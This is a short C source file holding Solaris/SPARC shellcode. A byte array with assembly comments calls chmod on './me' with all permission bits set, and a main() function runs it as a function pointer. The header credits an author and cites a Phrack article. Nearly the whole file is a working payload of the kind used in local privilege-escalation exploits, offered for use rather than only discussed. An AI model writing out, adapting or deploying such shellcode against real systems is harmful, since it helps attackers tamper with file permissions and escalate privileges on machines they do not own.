/*
 * sparc_solaris_chmod2.c - Solaris/SPARC chmod() shellcode
 * Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Very small Solaris/SPARC chmod shellcode. See also:
 * http://phrack.org/issues/70/13.html#article
 *
 * Tested on:
 * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
 */

char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */

/* chmod("./me", 037777777777) */
"\x92\x20\x20\x01"  /* sub  %g0, 1, %o1    */
"\x20\xbf\xff\xff"  /* bn,a <sc>      */
"\x20\xbf\xff\xff"  /* bn,a <sc + 4>    */
"\x7f\xff\xff\xff"  /* call <sc + 8>    */
"\x90\x03\xe0\x14"  /* add  %o7, 0x14, %o0    */
"\xc0\x22\x20\x04"  /* clr  [ %o0 + 4 ]    */
"\x82\x10\x20\x0f"  /* mov  0xf, %g1    */
"\x91\xd0\x20\x08"  /* ta   8      */
"./me";

void main()
{
  void (*f)() = (void *)sc;
  f();
}